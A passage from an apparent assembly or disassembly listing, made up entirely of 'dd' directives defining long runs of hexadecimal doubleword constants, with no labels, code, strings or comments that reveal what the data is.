9EE8C801h, 0F0F4C083h, 9C669447h, 0F878F0A8h, 0ACB8C971h dd 52E9FC04h, 1EEC9400h, 1243E7A9h, 41769558h, 0ADE84E4Ch dd 2448BBDDh, 7A406C59h, 0CCB2BB80h, 0CBF1BFB8h, 5707680Ah dd 0F60284E0h, 0A0204429h, 56DEA2CCh, 4DEFE0BBh, 4700A4E8h dd 0E571C6B6h, 0A90EC7F2h, 0AE3AE77Ah, 42AC2098h, 0F34F4826h dd 2AA60h, 89B5DE1Ch, 3BE86F12h, 7010E30Eh, 63F98060h dd 3FC8F82h, 31CD48Eh, 0D8C08427h, 30F9AB34h, 0A100C3E4h dd 2C7AC21h, 89ADDEh, 2820921Ah, 2BA2FDFEh, 0B50DE200h dd 6EA95D3Ah, 0E693023Bh, 8166C6C5h, 2271A840h, 4167EDE5h dd 0E0866380h, 97064D9Bh, 5F8368DCh, 0E2520918h, 0EC2BDD48h dd 0B8DCD608h, 1A325E80h, 618A30B2h, 5102FC7Ah, 2B1CE386h dd 0EC0C616Dh, 81486A00h, 0C441BBE3h, 1DAC001Bh, 9767543Ah dd 260014AAh, 1C425663h, 0D20CF92Eh, 51940429h, 80720F4h dd 0DF58C7C5h, 98B039D2h, 0A980D4BCh, 30F0F048h, 0C10FBA4h dd 24B07896h, 1676E122h, 23F083F7h, 197AD150h, 0CF449090h dd 307054D2h, 0C96420F0h, 1489DF6h, 4ED1122Eh, 568DD420h dd 46672871h, 6462309Ch, 956C32C1h, 12D54A00h, 0A9FC3320h dd 0C02E045Dh, 0C3041481h, 6010F934h, 390FD3D8h, 4032FFE5h dd 0E824C9C0h, 38186443h, 15A86899h, 52662CDBh, 6EA4720h dd 8C00716Ch, 5E2874A9h, 64D14A4h, 0C379542Ch, 4716984Ch dd 4408FB1Dh, 628D80D3h dd 0A189018Bh, 8AFC133Ah, 14DBE06Eh, 660AEF11h, 838EE56h dd 8D826AFAh, 0C02AC5ACh, 937B0B68h, 0A46C09C0h, 9F48F88Fh dd 1D2B1400h, 88B077D2h, 4026C003h, 21039406h, 0B4E47DADh dd 0E0F64482h, 0A8BBE724h, 9A0BDF8h, 0EB30FA14h, 98049487h dd 4E342E10h, 38F4C051h, 5D8088D9h, 0E852887Bh, 0DCB55012h dd 946B4448h, 4800E4F6h, 5049F15Bh, 0AF0057C5h, 0C360BC96h dd 0CF693ADh, 6BF5EB2Ch, 909F961h, 0A2609771h, 48D5041Ch dd 68B918h, 5D21EA4Ch, 48DA7785h, 0F880A8B8h, 0AC2EC767h dd 1F0118B7h, 0B8E27D84h, 6AD2398Fh, 0C7639119h, 0A33F6900h dd 0C543B283h, 37B7A0EFh, 0B7DB0246h, 9A665B94h, 1079EC61h dd 113E2D4h, 54F4E515h, 8E369E61h, 36E8A3A0h, 6D189440h dd 0A0E29BFFh, 9147669Ch, 7083AACh, 0E802D538h, 0E68F8958h dd 19B760ECh, 92CCE148h, 8FDBF0A0h, 0AAF5603h, 0C099AC13h dd 698CFBF6h, 0DA059183h, 0F27D8076h, 5912BE2Fh, 0E004AB97h dd 505CFD4h, 178040D3h, 31238939h, 0D7F7BE13h, 91F3EC0Fh dd 800C8C3Ch, 39103DAFh, 39D60430h, 746375h, 0C11B290h dd 51A1607Bh, 0CA58E20Ch, 5CEAC08Dh, 6482B8F8h, 0F44B6948h dd 8D8430F5h, 39005E23h, 0DC480129h, 15F50B42h, 94CE8FE7h dd 0A044523Ch, 0D8140128h, 88607E45h, 6EE38BC9h, 1DE42940h dd 3BA0668Ah, 1380B3BBh, 80474B37h, 5F000E1Dh, 0C017129Eh dd 0B79D11Ch, 8CE93B2Eh, 5A88893h, 54003DC6h, 0E685455Bh dd 0E6685178h, 0EF34308Dh, 8C06D571h, 5F560E07h, 76A212F8h dd 0D79E8639h, 39DA7049h, 0DF386765h, 2B891480h, 58D0F118h dd 36F9802h, 40EB94D8h, 12AA5514h, 8131A47h, 3C876E7Ch dd 0A04A4D60h, 65B8E001h, 0E8C47DFCh, 1EE1D3C0h, 390062ECh dd 7985D34Ah, 3D29FF2h, 0CFA89A0Bh, 3BC01DF7h, 507EC07Ah dd 9B067CBAh, 0EC4A6640h, 624A6D1h, 0F77D1476h, 0B407D6FEh dd 0EAFD630Ah, 5895D195h, 7252F81Eh, 0C4F344D1h, 6FD2A200h dd 0D88EE099h, 340173BCh, 0A3EFE489h, 0D62B034h, 0ACF7EB06h dd 5AD84351h, 385141DAh, 2C0C17A6h, 0AAB1FFh, 0BF648FDAh dd 4D38E270h, 14135096h, 0EAAB3801h, 9C507103h, 4CA2658Fh dd 9BC01468h, 58DA289Fh, 0FBAAED02h, 0C8DB55D8h, 413FE770h dd 9C1098BDh, 24595430h, 3804487h, 0DE50EFFFh, 0B3188862h dd 20820971h, 0F400D5D4h, 0B262D760h, 895A63ECh, 2D81A21Bh dd 0F153C412h, 0A3FDC500h, 7624EF47h, 43333CA6h, 0D8E260E2h dd 5B036921h, 0F140E408h, 0D450ED33h, 5F17E9h, 8FE51AE0h dd 0ED4B8CE2h, 0B1F3FB01h, 0AE650EECh, 0DF5C2881h, 0E8364457h dd 0C892BA5Bh, 7C2D5011h, 4CF46900h, 2106F0A8h, 0FAFC1A1Eh dd 45D81580h, 600368F6h, 2FB8866h, 0B32C732Fh, 5C037446h dd 906D69D8h, 0AD6266h, 37F401FBh, 5AD2B0C0h, 0D1883D61h dd 0A60A8B8h, 0DB4328F7h, 32EA24B0h, 60F00BE0h, 0BC4C3820h dd 0FA00CC0Ch, 0D5A61E6h, 0A7652B1Fh, 1EA20804h, 4E95A000h dd 3F1526AEh, 1201EBC4h, 5D8A6B3Eh, 1F19BD84h, 41B08954h dd 714BBF55h, 9B3D0018h, 0E75DDD85h, 6E009140h, 0DC89094Ah dd 20650DE6h, 0B81E3773h, 3D839FEBh, 18420E6Bh, 10DF1A68h dd 5BFC9547h, 76CD28C0h, 11DD36h, 9EE28B09h, 7DE387ABh dd 0D9376500h, 8E076DA3h, 0D4D301BFh, 5C643D17h, 0CD9BE389h dd 9771000h, 0F97E5EB7h, 6AAB0056h, 5905FB29h, 0BF378BD5h dd 0F9C32950h, 4CD00F10h, 0DCE02932h, 0E6EE08Eh, 888C8529h dd 0A2A9E0BFh, 0A364F346h, 9765F0A0h, 0A2B58F1h, 2AE98C1Fh dd 0D2A1808h, 23AA286Eh, 42412E6Fh, 6FC010h, 8BF5302Bh dd 9147E730h, 609589B8h, 843F7990h, 0E730934Ah, 1E652143h dd 0AE0A496h, 6D8A8DEAh, 0AFD88218h, 90806AF8h, 0D62B194h dd 4CC00F1Bh, 4408BA71h, 2A9F3A00h, 7E8BDD0Ah, 8C1ED8h dd 3EF2C8D6h, 1E14839Dh, 10844126h, 0CC06A538h, 38F80331h dd 3F370D18h, 74E52B89h, 0D97B330Ch, 8AC3D841h, 0A8C7592Ah dd 0DB25E314h, 0C55C90F8h, 0A841ADF6h, 56FA29E4h, 189F5880h dd 88E9867h, 0FB094300h, 79C4AD23h, 17CF0062h, 3B0BB25Ch dd 0F4005834h, 0F9308A2Ch, 212B7Ah, 0F2B3D7B9h, 0C6858B67h dd 0E911A702h, 40155FB6h, 1ED0D2D4h, 407E0D24h, 18DA6EC3h dd 49F23165h, 0D1BB40C1h, 3F00F5ACh, 0FE7252DDh, 0FB5FBC0Eh dd 0C62BC0C4h, 7F760h, 0C991E83Bh, 3A20651Ch, 0C72A7B01h dd 67C8D228h, 0FC2984C4h, 0CEFE4851h, 0E0124914h, 0F9AA0491h dd 848FF850h, 0FC37071Ch, 0AF5FB752h, 0C5C3001Ch, 38C8CA58h dd 1744F300h, 4F31A31Ah, 0C4D8F349h, 0B9D906DEh, 40858755h dd 68FB1200h, 0A920688h, 4BC1002Bh, 204C35F7h, 2400DA46h dd 596EB2CAh, 8D00592h, 67CDD8BDh, 0F391A02h, 921000FAh dd 0D600D069h, 4823F724h, 0C970EFh, 4F2DD830h, 0D416CE8Dh dd 0F800BD7Ah, 2F7B8855h, 0EFFFB39h, 0CF12AF68h, 0C2D4D084h dd 94450C38h, 299140D7h, 150E4D06h, 8062B6F9h, 0D72BF792h dd 3C20E825h, 0D9802144h, 0F916A31Ch, 1503918Eh, 676DC8B9h dd 1F85C03Ch, 0E09033Ah, 68C489C0h, 19C5D180h, 522F2800h dd 65F25717h, 4CB95C7Dh, 0BE083B03h, 40C671CBh, 4F1D8708h dd 0C4B3000Ch, 0C92BF5C7h, 0BCA1900h, 0DE43ED40h, 1696005Bh dd 43C4955h, 0AC00B8BEh, 42543B67h, 0FE431Ch, 0F9ADB90Dh dd 0C8BDF5C6h, 8C6DE72Ch, 13017ED5h, 0C68E9040h, 0B6C0114Dh dd 76140EB4h, 0E880C266h, 1B38BCF6h, 2C17451Eh, 7B1CF7F9h dd 0D48F1D8Fh, 926720ACh, 3A038Eh, 892850D0h, 2AF681FFh dd 0B25DD50Eh, 6FF2E00Ch, 8A5BDBh, 3B8B422Dh, 0C9D7DCB5h dd 5456B200h, 0B521C92h, 0E0A4F84Fh, 0D5650091h, 0BAF75917h dd 4700223Bh, 1A885BC8h, 3C8BF9h, 0D8D5CE08h, 9F5401F5h dd 0FD371E00h, 0F888230Dh, 0D3E8C4h, 1CF427D6h, 0C9711481h dd 1AC2E59h, 0BD1B9382h, 0A42C73CBh, 41B8841h, 92CEA0FFh dd 0D7A500DFh, 0D9CAE1AAh, 0AF057B9Eh, 1EBD6EAEh, 0C880342Ah dd 2D7AE3A6h, 8FAEC400h, 4ED9A579h, 9FFE15D0h, 2AC31C8Ah dd 10003205h, 0F1014EDh, 18A108E6h, 2954635Eh, 52075574h dd 606A427Eh, 77A2F0F0h, 4A400F96h, 0F163C4h, 973BBFAAh dd 0CDF16Ch, 98D4197Eh, 62FC3091h, 4F00D07Bh, 76C2901h dd 0B57B01Fh, 53DF5D8Ah, 1A8150C0h, 0D979CF05h, 54005A4Ch dd 69E2C3B8h, 0E6B3943h, 1C86D295h, 0B03B1C88h, 7DA0D90Bh dd 23CD1E31h, 0F121C015h, 52B318C6h, 29009FEEh, 56EA8C07h dd 0B68B65A0h, 2EE702B8h, 0D4D81833h, 6EF79310h, 0EB177458h dd 77A89101h, 88580C5Fh, 0B1C0442Ah, 0DE51188Ch, 0A7B80006h dd 378EADB2h, 0EB30C17Ah, 601E49DFh, 6705E850h, 91834013h dd 8009F67Bh, 0E9C72DC1h, 19D2A485h, 98C6A9Eh, 0CD218032h dd 0EDEEE9CEh, 36620339h, 9E822179h, 8FCABEC0h, 99180430h dd 1FA7A615h, 6C3358h, 0D7CC413Ah, 632AF308h, 1C0EDC5Eh dd 6066C37Ah, 0FC26BB78h, 0FEBD00FDh, 7E202FB7h, 0E82887D3h dd 0A9149481h, 15C952Ah, 31D2FF0Dh, 187889F4h, 6099233h dd 7ADF2102h, 0A0BC9931h, 88B9C838h, 0D1C40074h, 0A403A9A3h dd 2A00676Dh, 9E831DF7h, 607AC0DDh, 3E3508A0h, 0ED80C6F3h dd 86D004B1h, 0E462E21Eh, 0E1077634h, 49FF467Eh, 20B038CDh dd 0D2B8F228h, 0CB9F1D4h dd 0C89B519Fh, 0BF0F148Ah, 8E05F820h, 4242981Eh, 0AF036E0h dd 3F01B0FAh, 0CC24EBB8h, 0D4426B3Dh, 0E9BC307Ah, 0BAA48811h dd 0CA803688h, 73A8E9C3h, 67C00637h, 693E29DCh, 99031372h dd 0B2333F70h, 8C51E089h, 0FFB10038h, 0DB25B8DFh, 1890102Fh dd 5385BA09h, 0AA3C0032h, 3E8A202Ah, 170716EFh, 6687D23Dh dd 0B51ED882h, 8CC359F0h, 1C0F30Fh, 87539520h, 0B281517Bh dd 3079C869h, 8711E9B9h, 1988C2A4h, 0E9C0CB80h, 4108211h dd 36DB6EE1h, 888B402Ah, 6C3BC4Ah, 0AC13299Ah, 934908AAh dd 0A06901A0h, 0B3F7E74Ah, 0D89D95D1h, 6EE20F78h, 0DE509163h dd 5263C7C0h, 0DC51E8A8h, 2570C507h, 9823F26Ah, 89B0AF47h dd 281013ECh, 12DC23A7h, 56DB872Ch, 0F8CCD64Ch, 180B8B10h dd 0C39BD73Bh, 0DBC3596Ch, 0F5889CF8h, 3A0CBB7Ch, 0A98F2A29h dd 57E7009Fh, 0CD342273h, 2600E4D6h, 0CBD33795h, 7438B02h dd 0C3DA6883h, 2520FBBh, 0EB8DA408h, 23AA4468h, 18E43B30h dd 0FDC0100Ch, 97D67982h, 346992A5h, 96003032h, 0A879D268h dd 8380D811h, 72C3BD4Ah, 8094448Ch, 7C4A9B0Fh, 5730E1E0h dd 4F4E537h, 1D8891F3h, 62C50677h, 45001171h, 0D7C453EFh dd 5F3EF278h, 47F40CEEh, 53FAAB21h, 7D392C00h, 0BC67CC6Eh dd 0C39A0925h, 40000327h, 6AFB7E2Ah, 68E62389h, 32100D64h dd 0BD4959BFh, 8C8090DAh, 0CB80376Fh, 0CF0D2978h, 53F50948h dd 22C8CC05h, 0A5205D48h, 9053DDh, 0CB997580h, 8A3DAFD7h dd 0BF8CA0A0h, 40D4374Dh, 2C5821ACh, 0C3C11C28h, 9815F74Ch dd 0EA9312F3h, 24A80F6Fh, 0C4011CE0h, 0E49268EBh, 174480A7h dd 72250C60h, 30DBC13Ch, 124748EDh, 0E3E0DE26h, 0D053F301h dd 20ED8D7h, 9A53DBAFh, 0B71BC0A2h, 59501837h, 0C210E085h dd 0D8297061h, 212B585Ch, 0E0E7A0D4h, 8402E260h, 6878F846h dd 0B8EF808Bh, 1EA2AF2h, 6532F972h, 80865D37h, 763F5950h dd 0B7E51Ch, 40A1F8EBh, 2F7DA26Bh, 23D047E9h, 77C1A31Eh dd 98442B48h, 0E700FB83h, 4FF0F98Bh, 0B4916D24h, 0C1EA3682h dd 0C45CC711h, 0DBC06031h, 0EB400008h, 18AFBDA3h, 0E0920104h dd 96845C00h, 4A487BD1h, 0D1FE48ABh, 0E9BA910Ah, 0F1F401A2h dd 0C4978CB9h, 5B05E788h, 54EBD759h, 0C6AA9432h, 0EEA50080h dd 615C82F4h, 89D625F7h, 1A165900h, 37D6C7h, 67F0098Dh dd 35BEF602h, 8064D748h, 89CBC6DDh, 9EE21F8Ch, 3CBE852Ch dd 23F82F77h, 0BAF3015Bh, 24392995h, 280085F4h, 9CEF79B4h dd 0ED5CB2Fh, 3A8C8D0Bh, 0F99992C0h, 65140E4Fh, 1CC41E7h dd 959F21C2h, 6C717E2Eh, 93A21C23h, 399A130h, 35566D66h dd 0E94807EEh, 0ABF80FC4h, 0D8FB00B1h, 0B19255AFh, 0C4F032F8h dd 1253F230h, 38F0D7D1h, 0DA00B070h, 5E58C953h, 2C651EBEh dd 40B02A5Ch, 7E29EC26h, 20903500h, 5825C6E7h, 0F8AB00B8h dd 0F1D116A8h, 9A487D4Fh, 81B9C838h, 0DF0F8BDCh, 88F44032h dd 0A34995A2h, 0DD88405Ch, 4A86048Ch, 62AAC3BAh, 9E6B2088h dd 2D00074Ah, 2298CE8Eh, 0EE0AADC5h, 6099EE39h, 509280A2h dd 0B709BF6Fh, 42ACF774h, 86A08DD4h, 28BB7880h, 80B49589h dd 0F2BEDD00h, 0AC4C85F5h, 0D754009Ch, 0BCE94F90h, 824CDECBh dd 8C31BC3Ch, 0B6D75E03h, 885BF53Ah, 12A369E7h, 85AE139h dd 94CA7CC0h, 0CAA48605h, 20332822h, 9FE9C1CCh, 0FF483000h dd 0DC78212Ch, 12C2FC28h, 41572243h, 0E3850EFCh, 10083249h dd 0F504F8DFh, 0A39F2AA8h, 31D00200h, 31CE89F2h, 0D1C450FCh dd 4003178h, 6223F1DEh, 0E158894h, 542AE68Ch, 2825BDC6h dd 1D090F79h, 1D2C1266h, 874711B0h, 0E3D088F4h, 9739334h dd 0A055CDC8h, 0D0BCAC68h, 145DA1F0h, 22D8814h, 837DBA85h dd 8FCC8868h, 0A08860FFh, 780EA22Ch, 91215F1Fh, 0B0400444h dd 94909CF9h, 0F8E6C025h, 50774910h, 424E5402h, 7C48F464h dd 0CD4D9857h, 3AEC48CCh, 0A86E4013h, 0B0367128h, 0CF104868h dd 5A95A306h, 0D8F89898h, 4E43454h, 0D7C90360h, 1E6AC966h dd 4E08F6h, 4A82A6B1h, 5001152Dh, 2FCB908Ah, 31800A04h dd 0CABA6236h, 0DD0BD3A5h, 90C20F51h, 3097D890h, 0BCA0879Dh dd 0FC0128BAh, 0DD8F3323h, 0AC243C29h, 0C2500FBDh, 5407A32Ah dd 0BAC480A2h, 5C00488Dh, 0DE8C9DF1h, 0C2D5886h, 28891D1Fh dd 7572ED39h, 4C1B400h, 0D97B1582h, 37A931AFh, 29B7B9F0h dd 2C2E93B4h, 0EE033523h, 0B9533A0h, 50AA58C6h, 7568080Ch dd 0C2298205h, 0E400130Fh, 0D3D2288Dh, 4264A87h, 88C31020h dd 0A2048B38h, 0B6BC7B41h, 0A00C98A1h, 92D10148h, 82CB3D02h dd 6FF841A6h, 949B041Ah, 505B0FC3h, 9FD2E488h, 0BCADA326h dd 0FE79B4A9h, 483AE118h, 92D980B7h, 44A56601h, 7EA302Ch dd 0AE5F22F9h, 9524A0E4h, 7B802C42h, 0BF895B65h, 17E2024Ch dd 5822F83Dh, 98D208A9h, 4480A099h, 88A3E755h, 601C7C33h dd 0F5E3191Eh, 7D0083B8h, 6690B760h, 5C79B689h, 8E0CE4DEh dd 36D11705h, 628BF00h, 911A3ABh, 0C3377A66h, 1DF7C690h dd 0A0BF5109h, 4B4900BEh, 13BEB2Eh, 6BA92571h, 3E8F8396h dd 0E1783C32h, 0F018C6C4h, 0D7C75308h, 0D8AA7080h, 65615300h dd 0D90E9A07h, 9CD52097h, 2390109Dh, 72B8007Ch, 0C276D9DCh dd 0A2494A18h, 0E4685040h, 0B1E72D00h, 0B9526EC1h, 36772735h dd 6230A064h, 0CE15715Fh, 29280070h, 0CDC246C8h, 0B4006FA5h dd 996C522Eh, 2C681E79h, 8FC87FBh, 360B5E8Fh, 0A04891D3h dd 8EB20076h, 2C221130h, 0F484D9h, 0D1120427h, 9527A4A0h dd 0C26C872Bh, 0AC3266E5h, 80710F80h, 0D7D353F4h, 48448CE0h dd 53DC07AEh, 0A068FA46h, 15E3978Fh, 0CAE204E4h, 8EE3B07h dd 0C342C1F3h, 1F59009Dh, 304822F0h, 3FC050A4h, 5820B84Ah dd 42938DA4h, 3582255Eh, 243584E0h, 0F313046Eh, 0F97C0016h dd 0BF8A0DAAh, 0A2344325h, 0E36592Ch, 29E75380h, 200FC1B3h dd 79B6B810h, 0BE18D080h, 0A427E97Bh, 0D896AAh, 0A9E9C5C8h dd 7952760Eh, 8007C238h, 3E511662h, 41D78954h, 8FC2028h dd 94090324h, 67E2D680h, 448EF8Ah, 644399FEh, 5408910Ch dd 106866A5h, 0D81F2123h, 0D80C6537h, 2240F718h, 92661BEEh dd 5218303Bh, 0F0181FA2h, 34F5374Fh, 0B8829BF0h, 5031EB8h dd 6461000Fh, 0F7EB3363h, 5C0E35BDh, 60B4C81Ah, 1EB1752Ah dd 10B189h, 91C419ACh, 589843C3h, 3596E718h, 0CC85F668h dd 4A18DD59h, 0B30BE4Ch, 8FDC8A88h, 90C46E08h, 0D435C805h dd 0BCA04F26h, 8440FF49h, 240F8ED2h, 106E6F96h, 0C045A0Ch dd 0A0002A9h, 0E7775CAAh, 7C78C205h, 0A9972A73h, 0CC262C88h dd 0B01D1E3Ch, 64E52A10h, 4676C49Ch, 36890490h, 40F4262Ch dd 3DD7055Ch, 8962FE87h, 9E0E3ACh, 0D2014655h, 71BC35BEh dd 4980B70Fh, 93F28E2Bh, 0B89AFDE7h, 961E6A0Bh, 0B9345064h dd 1990796Ch, 54F7E430h, 0DAA01Ch, 0AA36BA57h, 0EB0BBBCDh dd 6EBD9000h, 0F72B468Ah, 0C2393EA1h, 0D7FA2F92h, 0E82652FCh dd 73087851h, 0A4AB094Dh, 0ACBF0C03h, 5EE5C101h, 1B23C381h dd 434C1E6h, 64B14CFFh, 0C7019A23h, 0D689EF31h, 0B0B71828h dd 61F431CFh, 95BA0401h, 56E0BA6h, 4B413CCFh, 6BB59203h dd 0CC8023Ah, 0E7019572h, 0F2968858h, 4BF9A49Eh, 5C90A091h dd 8C5ABC28h, 0C786BA02h, 8296EF63h, 1265AAC8h, 94598079h dd 6D273D18h, 0F69C82DEh dd 44B044DCh, 0CC00DB0Ch, 0E4AEB433h, 13B5475Eh, 1EC62895h dd 89F38168h, 733052EFh, 3342E234h, 0F328D1D8h, 816BE600h dd 0EC18D5ABh, 0BBC113C0h, 0F268C0E7h, 230E811h, 0F58E682Bh dd 0D3611C91h, 23BD390h, 6D9C7114h, 1250F121h, 0CB47A300h dd 0E197D70Dh, 316B2090h, 3283A130h, 3136F298h, 34D8ECD3h dd 0D59FD60Ch, 1CB7588Dh, 0E46EB25Eh, 0BB7200E4h, 0F293AABh dd 0C9D5390Bh, 6050CDA8h, 0F8AB7B08h, 52818709h, 9BBCC69Dh dd 0CB3B1E44h, 1D1E25h, 0CC803511h, 8A1A260h, 2909397Eh dd 48E42FDAh, 7328DD78h, 0D42566D3h, 530518F4h, 0EEB5C7F9h dd 8CC0D884h, 0E28CCB4Eh, 70B62C48h, 353308D4h, 9F652C09h dd 80931118h, 143E5244h, 28CA1D9Ch, 902DC116h, 0F30F7E0Ah dd 72E36000h, 28A03B6Ah, 4F8EF210h, 0F28C0671h, 553A1869h dd 65E10156h, 64FB8B86h, 0A4350821h, 4063B030h, 905BB1Bh dd 0DC6EE0B2h, 4A875420h, 92C321B9h, 4A9F6CC0h, 441077Fh dd 35CA88BBh, 622482B1h, 218E7CC9h, 289EF944h, 0E9208034h dd 304671h, 543AF59Ah, 9186DED0h, 6B290101h, 0A4FBF8Bh dd 21FA4080h, 0CCF1355Fh, 0F8B6D092h, 33465Eh, 3948A432h dd 0F283E304h, 0C4B13EBh, 0DBAC813Eh, 0D6360058h, 1E39C520h dd 0F3A0988Eh, 7491EA14h, 60EF11F0h, 0B440F280h, 9C4CA1A0h dd 0C02C767Ch, 0DE0920F1h, 11605125h, 0A2085399h, 0B680308Eh dd 0F2D66B0h, 0EE48AEACh, 0EF108213h, 2EE002Fh, 6D02B684h dd 0D2E79417h, 3A40A634h, 0C3A41C71h, 6824CFh, 0DB257B37h dd 88A00EA3h, 0AA0B44A2h, 7AF9BF23h, 88A8ECB0h, 86250C85h dd 0DD4404A3h, 63B1F880h, 4621C757h, 392E83EEh, 0C83545B8h dd 275D8912h, 24540CB4h, 85040288h, 0D0DF080Ch, 388C8B44h dd 85E1BFA3h, 20702587h, 0A4A0B700h, 558617FAh, 0B8768C83h dd 0A63DC0E7h, 0BD530FCFh, 681001A4h, 0ED87EEFAh, 141B7468h dd 8A0386Bh, 0B0A833D3h, 89526987h, 51920010h, 0D03723CBh dd 2FBC4F55h, 2B0310C8h, 5090F9C0h, 1551ADFBh, 0DC43C487h dd 8D9FBE05h, 0E4E8872Bh, 47A22C7Ch, 100B052Ch, 97CE9C2h dd 450B9FDh, 8960DAE0h, 0C323BB4Ah, 13911182h, 3400A16Ah dd 0E45EA542h, 18C3E44Eh, 70437F65h, 0CB15D734h, 0A82CE112h dd 39D60024h, 0DABE9F52h, 70A5B86h, 54E21E73h, 8E465Ch dd 44F7AE92h, 275FB78Dh, 0E88117F3h, 636FC448h, 3034A268h dd 260FACADh, 0E0917438h, 86096750h, 8059505Fh, 3302C9Ah dd 366D404Ch, 0DC3ED801h, 0EDD70044h, 51E9D14Ch, 0BC9A3F57h dd 358C6E01h, 706A6B8Ah, 6140DBD0h, 4BD376C4h, 57589104h dd 89170C46h, 43DBE827h, 0AB141650h, 902C3F40h, 9854F39Ch dd 33E3DC81h, 358BF601h, 0BC3C688Ch, 1E1D8C31h, 0D0809B41h dd 47B78382h, 62D3FCA2h, 6BFE7889h, 854F6CFCh, 0C61879Dh dd 7822AC5Eh, 0F33007F2h, 33C0268Eh, 82EF0911h, 1484F029h dd 5C104302h, 697C8F2h, 1AF1006Dh, 0DAFAAB4Ch, 131C6AECh dd 329007EBh, 0D8028725h, 146619BAh, 46FB920h, 4D37D9CBh dd 59C8AC94h, 0A9B10193h, 3E053F23h, 4810272Bh, 6D97D802h dd 0EF8A0095h, 58DF36AAh, 71329F09h, 8C9E11BCh, 5289D8D3h dd 0F92A7C76h, 7BD200DCh, 0C021E631h, 0BC0471B2h, 0B9AFD702h dd 2A12A4A8h, 0C5884043h, 5C08F8F5h, 40C72C07h, 0A9C56EFDh dd 76B0F4B6h, 0AF00BD99h, 7F58C335h, 4C6F85A2h, 6E8BE034h dd 0A097FC0Bh, 0AE809211h, 0E9178608h, 3C7AE21Dh, 2C94BF1Fh dd 8CC85E94h, 801E748Dh, 0D80678C0h, 3E35BB72h, 47634F10h dd 4003EAC4h, 0E64DE21Ah, 7F058D00h, 913730B1h, 975E26CDh dd 88833A1Ch, 86D0C6F3h, 0EA354012h, 2F560CF4h, 98C8D1CCh dd 443C538Bh, 610C0B81h, 0C4F2F9h, 32512028h, 0D60F5A2h dd 600E7824h, 5084674h, 870A465Fh, 529B20C1h, 0CFDBC200h dd 739CEC58h, 0F3078B0Bh, 97D840BFh, 39894CDh, 0A25D609Fh dd 7D985EB9h, 1D72394h, 0C3C04A84h, 0B028387Ah, 54A9C7Dh dd 0E6731EFh, 4D948011h, 65F4DCB2h, 71A5E80Eh, 7098AD50h dd 7F7440F2h, 4B3D42E1h, 0B03E8441h, 7F35F5h, 0A036EAB8h dd 229D9561h, 220B5EC0h, 0CE30978h, 3E0DD1h, 0B9E90A3h dd 0D8EA8BDAh, 50409C1Ah, 0F8C0BD33h, 2076AFD2h, 0FACCF957h dd 0D4F54888h, 79448A3Dh, 0A17B0601h, 3E9795A2h, 0BF10707Dh dd 7DA009EEh, 291CDB0Dh, 1887D158h, 9B600B9h, 0C230B12h dd 80903C03h, 0EDC05C65h, 3E94C610h, 94E1E837h, 0D6054611h dd 21979D4Fh, 3321C28Ch, 4C415A34h, 7EC848F1h, 0FC4F5730h dd 0BEE09E39h, 0A33C45DAh, 0ABA4043Dh, 0A1D8B803h, 5E20E785h dd 284E0255h, 0EB5EEECCh, 55BF4CB0h, 8400588Ah, 560A4434h dd 221C8C57h, 2E775BB0h, 1C4823CCh, 0C00A1D4Dh, 16EDF81Ch dd 8B4E536h, 27082CA4h, 23C40246h, 64C40E4Bh, 78B1D372h dd 94261E91h, 507051D8h, 0DB21ACD8h, 7F893918h, 86552B40h dd 0BFFCF754h, 5640E89Eh, 759B0F59h, 44912C53h, 0A51C0175h dd 298D1E88h, 27C44CE4h, 0ECA887DFh, 484B1082h, 17A16644h dd 92D2355Eh, 0F8D2049Ch, 0CC79FB00h, 4B7C4321h, 0AC4C50F6h dd 0A611441Bh, 0B5C441FBh, 48AF1037h, 0C1C301DDh, 2395A12Eh dd 106C2251h, 3584F343h, 4EA962B8h, 0BF9244B0h, 0A829B732h dd 1C4051D6h, 45BE848Eh, 5930C009h, 0F630D2BBh, 0AA08C118h dd 0C91A0017h, 0E77D48A2h, 94073846h, 2DB38802h, 5122770h dd 2AA813F2h, 0C580609Ch, 8923ED31h, 0BCFA15A6h, 31CDD800h dd 0D25ED934h, 35957809h, 0A40410EDh, 59A7227Dh, 608BD325h dd 9F5EA260h, 4DBF4C90h, 3C6C3Ah, 23C75139h, 963F966h dd 0AA06EB09h, 71215C14h, 7C952D08h, 0E805A91h, 278C131Ch dd 9CC8F14Bh, 20989011h, 14AC1ED5h, 0AB2EE490h, 0FC79C404h dd 9C97A912h, 612B0588h, 20F659E7h, 8D4F7D18h, 80B8DC27h dd 9C5058E7h, 0F825681Eh, 63B0C08Dh, 66878107h, 61607B1Ch dd 8586F7E9h, 3220073Bh, 672D90DAh, 6DCE80A3h, 180E4127h dd 81AA9176h, 6F24BBC2h, 75FB6080h, 496C12ABh, 205BE709h dd 5020E094h, 91D20509h, 60C80D78h, 0C553EEB8h, 6590D725h dd 0F6AC89FCh, 0D383C200h, 7B2C94A7h, 0AF128470h, 977B44Bh dd 0C408E5B8h, 17F56007h, 0D0ED07FCh, 7091F0B4h, 0BBDB261Bh dd 72D40A51h, 3035F280h, 0EF00ACAEh, 9186EB01h, 2F4922F8h dd 411AB0Fh, 2C683CEDh, 0E50368C5h, 0E2CBB316h, 5838D383h dd 95091060h, 4804538Ah, 0ECD31774h, 0FB4F623h, 31328428h dd 7A58C6E0h, 8B17BEC3h, 44810AB7h, 1C398754h, 41352A12h dd 8148A58h, 9F7D609Ch, 0F6731901h, 0C4E312C7h, 33CB1070h dd 518922F7h, 0D4B0BA88h, 2714E002h, 418A11A5h, 8C34F878h dd 0D11D01B6h, 0A07A8C84h, 802D05h, 0E697B1C3h, 3E25BF16h dd 0B53C3CE0h, 0AF21F707h, 0C298E059h, 3660294Ch, 11244499h dd 0E74E001Ah, 0C7CADEF6h, 0F3A80BFh, 4054A0Bh, 0E8C0A237h dd 99F128Ch, 0DB87F007h, 5C791C59h, 73027418h, 557A50B3h dd 3794909Eh, 0DDF08838h, 0CA2A7600h, 48934B7Ah, 0B71D0962h dd 84808849h, 19528C25h, 9435E85Ah, 823F43Ah, 0AA37E400h dd 0C70403BFh, 0F14F3219h, 30EFB03Dh, 0FF03D588h, 5F3A75EEh dd 8499B038h, 0F0A79FF7h, 6BE701Ah, 170F8E61h, 61886307h dd 0AEF7CDEh, 21D66E0h dd 388D8F11h, 6C61D3DFh, 758C009Ah, 67530242h, 0A8C09FF7h dd 0E4979C62h, 0C28E6191h, 971C2272h, 0E43880C0h, 1C1B2E01h dd 53636764h, 2FE83187h, 2707D5h, 69E48188h, 2E303200h dd 6E60FF1h, 0BE72DCh, 0CC0E6324h, 0C1F320D7h, 0C06FC325h dd 2C95A084h, 1F88A8F5h, 